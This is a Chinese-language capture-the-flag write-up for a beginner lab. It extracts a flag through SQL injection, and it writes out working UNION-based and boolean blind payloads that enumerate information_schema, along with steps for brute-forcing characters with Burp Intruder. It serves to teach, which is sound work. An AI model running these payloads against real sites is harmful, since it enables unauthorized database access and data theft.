[第一章 web入门] SQL注入漏洞
00.前言
这篇文章将展示获取该靶机flag的过程,并且通过最典型的union注入和布尔盲注方式进行详细的分析。
启动环境
01.union注入:
根据首页的url我们可以看到疑似注入点‘ id ’,通过修改id值来判断是否存在注入:
首先通过添加单引号’判断是否存在注入,并确定其类型
发现内容发生改变,说明单引号成功闭合SQL语句,且是字符型;
猜测其语句为:
select ... from ... where id = 'x';
我们再尝试输入id=1’and ‘1’ =’1,发现页面正常显示,即此时的SQL语句为:
select ... from ... where id ='id' and '1' ='1';
再通过order by判断其字段值,为3:(其中–+是mysql的注释符)此时SQL语句为:
select ... from ... where id ='1' order by 3--+'(后面的单引号被注释了)
使用id=' union select 1,2,3--+
查看回显位置,为2,3(注意!不是 id=1’ union select 1,2,3 --+ 而是 id=X’ union select 1,2,3 --+。因为联合查询中,前面得到了结果就不会执行后面的语句了。其中X指的是任何查询失败的数据,当然直接为空最直接),则接下来在2,3位置进行注入:
使用id=' union select 1,database(),user() --+
查询数据库和用户名
使用id=' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='note'),3--+-
获取表名:
(information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。
也就是说information_schma可以查到你的所有的搭建的数据库名、表名和列的数据类型,在一切条件未知的情况下,存在注入点的话我们可以直接尝试对information_schema进行访问,从而获得更多的信息。
例如SCHEMATA:提供了当前MySQL实例中所有数据库的信息
TABLES:所有数据库表的信息
CONLUMNS:提供了列信息)
使用id=' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='fl4g'),(select group_concat(column_name) from information_schema.columns where table_name='notes')--+-
得出各表的列名:
最后使用id=' union select 1,group_concat(fllllag),3 from fl4g--+-
获得最终数据:nf{nf_sql_1111}
02. 布尔盲注
判断的步骤是一样的,倘若无回显,只有正确与错误页面,则尝试布尔盲注。
使用?id=1' and length(database())>1--+
判断数据库名字长度是否大于1,大于一则正常回显:
使用?id=1' and length(database())>10--+
判断数据库名字长度是否大于10,大于10则正常回显,若不正常回显则继续判断:
最后我们可以确定数据库名的长度为4,?id=1' and length(database())=4--+
,回显正常:
接下来判断数据库中有几个表,同理慢慢就可以推出有两个表:id=1'and (select count(table_name) from information_schema.tables where table_schema=database())=2--+-
得到表的个数后就判断两个表的表名长度:分别是4和5
id=1'and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=4--+- id=1'and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5--+-
(这里limit 0,1指的是表中的第1个数据开始,只读取一个;同理limit 1,1指的是表中的第2个数据开始,只读取一个)
再使用截取字符串常用的函数,mid(),substr(),left()来获取数据库名、表名、列名。
这里用substr()演示:
string substr(string, start, length)
第一个参数string为要处理的字符串,start为开始位置,length为截取的长度。
Sql用例:
(1)substr(database(),1,1)>’a’,查看数据库名第一位,substr(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。
(2)substr((select table_name from information_schema.tables where table_schema=xxx limit 0,1),1,1)>’a’此处string参数可以为sql语句,可自行构造sql语句进行注入。
我们先猜出数据库名,查看第一个字母是否为a:id=1' and substr(database(),1,1)='a'--+
:
发现不是,便一直排序下去,可以手动一个一个试(耗时),也可以使用bp进行暴力破解,写个脚本也可以。
解得,数据库名为note,同样的进行对表的查询:
id=and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'
我们使用bp工具可节省时间:
对网页进行发送并抓包,发送到intruder即测试器:
转到测试器,在位置处选择clusterbomb:
然后点击清除,并选定我们所需要改变的参数进行添加:
然后转到有效载荷,其中有效负载集1,表示我们刚刚添加的第一个变量$ 1 $ ,在下面的有效载荷选项添加1,2,3,4因为我们是已知第一个表名的长度为4,同样的,有效负载集2,指的是我们添加的第二个变量$ f $ ,在下面的有效载荷选项添加az,09;我们可以从列表添加,比较方便,全部设置完成后就可以点击开始攻击了:
攻击完成后,可以点击长度进行排序,更快地找到目标,得到表名fl4g:
然后就是一样的操作流程,只是换了语句求列的个数、列名的长度与名字:
id=1'and length((select column_name from information_schema.columns where table_schema=database() and table_name='fl4g' limit 0,1))=7--+-
id=1'and substr((select column_name from information_schema.columns where table_name='fl4g' limit 0,1),1,1)='f'--+-
得到列名fllllag,我们先确定此列的长度为15:
id=1'and (select length(fllllag) from fl4g)=15--+-
最后就可以输出数据了:
id=1'and substr((select fllllag from fl4g ),1,1))='a'--+
03.总结
这道题很适合小白拿来练手,可以尝试很多种的攻击方式,由于时间关系就列了两种,其他的攻击方式也差不多吧,大伙们自行尝试~